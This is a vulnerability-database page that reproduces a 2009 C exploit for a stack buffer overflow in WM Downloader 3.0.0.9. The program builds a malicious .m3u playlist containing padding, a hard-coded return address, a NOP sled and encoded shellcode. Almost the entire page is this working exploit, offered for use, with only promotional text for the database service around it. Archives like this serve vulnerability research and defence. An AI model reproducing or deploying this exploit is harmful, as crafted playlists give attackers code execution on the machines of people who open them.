Lucene search
K

WM Downloader 3.0.0.9 Stack Overflow

🗓️ 14 Apr 2009 00:00:00Reported by StackType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

WM Downloader 3.0.0.9 Stack Overflow exploit code

Code
`/*  
# WM Downloader Version 3.0.0.9 .m3u Universal Stack Overflow Exploit  
# Disoverd By Cyber-Zone  
# Exploited By Stack  
# Thnx : HOD The Best Metasploiter  
*/  
  
#include <string.h>  
#include <stdio.h>  
#include <stdlib.h>  
#define OFFSET 26117  
char header1[]="\x23\x45\x58\x54\x4D\x33\x55\r\n";  
char header2[]="http://";  
char scode[]=  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"  
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"  
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"  
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"  
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"  
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"  
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"  
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"  
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"  
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"  
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"  
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"  
"\x4e\x46\x43\x36\x42\x50\x5a";  
char nop[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";  
int main(void){  
FILE *p;  
unsigned char *buffer;  
int ret=0x6E7D5C87; // Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>  
// 0x7C82385D;  
  
int i=0;  
if((p=fopen("WM-Downloader.m3u","wb"))==NULL){  
perror("error");  
exit(0);  
}  
buffer=(unsigned char*)malloc(strlen(header1)+strlen(header2)+OFFSET+4+10+351);  
memset(buffer, 0x90,strlen(header1)+strlen(header2)+OFFSET+4+10+351);  
memcpy(buffer,header1,strlen(header1));  
memcpy(buffer+strlen(header1),header2,strlen(header2));  
i=OFFSET;  
memcpy(buffer+strlen(header1)+strlen(header2)+i,&ret,4);  
i+=4;  
memcpy(buffer+strlen(header1)+strlen(header2)+i,nop,10);  
i+=10;  
memcpy(buffer+strlen(header1)+strlen(header2)+i,scode,351);  
i+=351;  
fputs(buffer,p);  
fclose(p);  
free(buffer);  
return 0;  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation